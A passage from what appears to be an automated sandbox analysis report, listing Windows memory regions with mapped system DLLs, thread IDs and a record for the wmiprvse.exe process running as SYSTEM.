	        filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll")

Region:
	              id = 2819
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac17fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2820
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac30fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2821
	        start_va = 0x7fefad80000
	          end_va = 0x7fefadbafff
	     entry_point = 0x7fefad80000
	     region_type = mapped_file
	            name = "dhcpcore6.dll"
	        filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll")

Region:
	              id = 2822
	        start_va = 0x7fefadc0000
	          end_va = 0x7fefae10fff
	     entry_point = 0x7fefadc0000
	     region_type = mapped_file
	            name = "dhcpcore.dll"
	        filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll")

Region:
	              id = 2823
	        start_va = 0x7fefae40000
	          end_va = 0x7fefae47fff
	     entry_point = 0x7fefae40000
	     region_type = mapped_file
	            name = "nrpsrv.dll"
	        filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll")

Region:
	              id = 2824
	        start_va = 0x7fefae50000
	          end_va = 0x7fefae5afff
	     entry_point = 0x7fefae50000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2825
	        start_va = 0x7fefae60000
	          end_va = 0x7fefae86fff
	     entry_point = 0x7fefae60000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2826
	        start_va = 0x7fefae90000
	          end_va = 0x7fefae99fff
	     entry_point = 0x7fefae90000
	     region_type = mapped_file
	            name = "lmhsvc.dll"
	        filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll")

Region:
	              id = 2827
	        start_va = 0x7fefb4d0000
	          end_va = 0x7fefb4e4fff
	     entry_point = 0x7fefb4d0000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 2828
	        start_va = 0x7fefb4f0000
	          end_va = 0x7fefb4fbfff
	     entry_point = 0x7fefb4f0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 2829
	        start_va = 0x7fefb610000
	          end_va = 0x7fefb62bfff
	     entry_point = 0x7fefb610000
	     region_type = mapped_file
	            name = "wscsvc.dll"
	        filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll")

Region:
	              id = 2830
	        start_va = 0x7fefc150000
	          end_va = 0x7fefc158fff
	     entry_point = 0x7fefc150000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 2831
	        start_va = 0x7fefc160000
	          end_va = 0x7fefc28bfff
	     entry_point = 0x7fefc160000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 2832
	        start_va = 0x7fefc290000
	          end_va = 0x7fefc2dafff
	     entry_point = 0x7fefc290000
	     region_type = mapped_file
	            name = "mmdevapi.dll"
	        filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll")

Region:
	              id = 2833
	        start_va = 0x7fefc2e0000
	          end_va = 0x7fefc30bfff
	     entry_point = 0x7fefc2e0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 2834
	        start_va = 0x7fefc310000
	          end_va = 0x7fefc3bbfff
	     entry_point = 0x7fefc310000
	     region_type = mapped_file
	            name = "audiosrv.dll"
	        filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll")

Region:
	              id = 2835
	        start_va = 0x7fefc3c0000
	          end_va = 0x7fefc555fff
	     entry_point = 0x7fefc3c0000
	     region_type = mapped_file
	            name = "wevtsvc.dll"
	        filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll")

Region:
	              id = 2836
	        start_va = 0x7fefc560000
	          end_va = 0x7fefc56bfff
	     entry_point = 0x7fefc560000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2837
	        start_va = 0x7fefc570000
	          end_va = 0x7fefc62afff
	     entry_point = 0x7fefc570000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 2838
	        start_va = 0x7fefc630000
	          end_va = 0x7fefc636fff
	     entry_point = 0x7fefc630000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2839
	        start_va = 0x7fefc720000
	          end_va = 0x7fefc73afff
	     entry_point = 0x7fefc720000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2840
	        start_va = 0x7fefc740000
	          end_va = 0x7fefc75dfff
	     entry_point = 0x7fefc740000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 2841
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2842
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2843
	        start_va = 0x7fefcab0000
	          end_va = 0x7fefcb0afff
	     entry_point = 0x7fefcab0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2844
	        start_va = 0x7fefcc20000
	          end_va = 0x7fefcc26fff
	     entry_point = 0x7fefcc20000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2845
	        start_va = 0x7fefcc30000
	          end_va = 0x7fefcc84fff
	     entry_point = 0x7fefcc30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2846
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2847
	        start_va = 0x7fefcec0000
	          end_va = 0x7fefcf2cfff
	     entry_point = 0x7fefcec0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 2848
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2849
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2850
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 2851
	        start_va = 0x7fefd340000
	          end_va = 0x7fefd37cfff
	     entry_point = 0x7fefd340000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2852
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2853
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3aefff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2854
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd44efff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2855
	        start_va = 0x7fefd450000
	          end_va = 0x7fefd469fff
	     entry_point = 0x7fefd450000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2856
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd5d6fff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2857
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd6b5fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2858
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2859
	        start_va = 0x7fefd730000
	          end_va = 0x7fefd769fff
	     entry_point = 0x7fefd730000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 2860
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2861
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2862
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2863
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2864
	        start_va = 0x7fefead0000
	          end_va = 0x7fefeca6fff
	     entry_point = 0x7fefead0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 2865
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2866
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2867
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2868
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2869
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2870
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2871
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2872
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2873
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2874
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2875
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2876
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2877
	        start_va = 0x7fffff84000
	          end_va = 0x7fffff85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff84000"
	        filename = ""

Region:
	              id = 2878
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 2879
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 2880
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 2881
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 2882
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 2883
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 2884
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 2885
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 2886
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2887
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2888
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2889
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2890
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2891
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2892
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2893
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2894
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2895
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2896
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2897
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2898
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2899
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""


Thread:
	id = 260
	os_tid = 0x354


Thread:
	id = 261
	os_tid = 0xa78


Thread:
	id = 262
	os_tid = 0xaf0


Thread:
	id = 263
	os_tid = 0x994


Thread:
	id = 264
	os_tid = 0x9a8


Thread:
	id = 265
	os_tid = 0xbac


Thread:
	id = 266
	os_tid = 0x8c0


Thread:
	id = 267
	os_tid = 0x8b8


Thread:
	id = 268
	os_tid = 0x5e8


Thread:
	id = 269
	os_tid = 0x5e4


Thread:
	id = 270
	os_tid = 0x5e0


Thread:
	id = 271
	os_tid = 0x5cc


Thread:
	id = 272
	os_tid = 0x2b4


Thread:
	id = 273
	os_tid = 0x234


Thread:
	id = 274
	os_tid = 0x3c0


Thread:
	id = 275
	os_tid = 0x3b8


Thread:
	id = 276
	os_tid = 0x3a8


Thread:
	id = 277
	os_tid = 0x2fc


Thread:
	id = 278
	os_tid = 0x2f8


Thread:
	id = 279
	os_tid = 0x2d4


Thread:
	id = 280
	os_tid = 0x2cc


Thread:
	id = 298
	os_tid = 0x9bc


Thread:
	id = 299
	os_tid = 0x760


Process:
	id = "18"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x73ea1000"
	os_pid = "0xae8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "7"
	os_parent_pid = "0x338"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000c340" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 2900
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2901
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2902
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2903
	        start_va = 0x150000
	          end_va = 0x1cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 2904
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2905
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2906
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2907
	        start_va = 0xff570000
	          end_va = 0xff5cefff
	     entry_point = 0xff570000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 2908
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2909
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2910
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2911
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2912
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2913
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2914
	        start_va = 0x320000
	          end_va = 0x41ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000320000"
	        filename = ""

Region:
	              id = 2915
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2916
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2917
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 2918
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2919
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 2920
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2921
	        start_va = 0xd0000
	          end_va = 0xd6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2922
	        start_va = 0xe0000
	          end_va = 0xe1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2923
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2924
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 2925
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000110000"
	        filename = ""

Region:
	              id = 2926
	        start_va = 0x1d0000
	          end_va = 0x2cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 2927
	        start_va = 0x310000
	          end_va = 0x31ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000310000"
	        filename = ""

Region:
	              id = 2928
	        start_va = 0x420000
	          end_va = 0x5a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000420000"
	        filename = ""

Region:
	              id = 2929
	        start_va = 0x5b0000
	          end_va = 0x730fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005b0000"
	        filename = ""

Region:
	              id = 2930
	        start_va = 0x740000
	          end_va = 0x7fffff
	     entry_point = 0x0
	     region_type = pagefile_backed
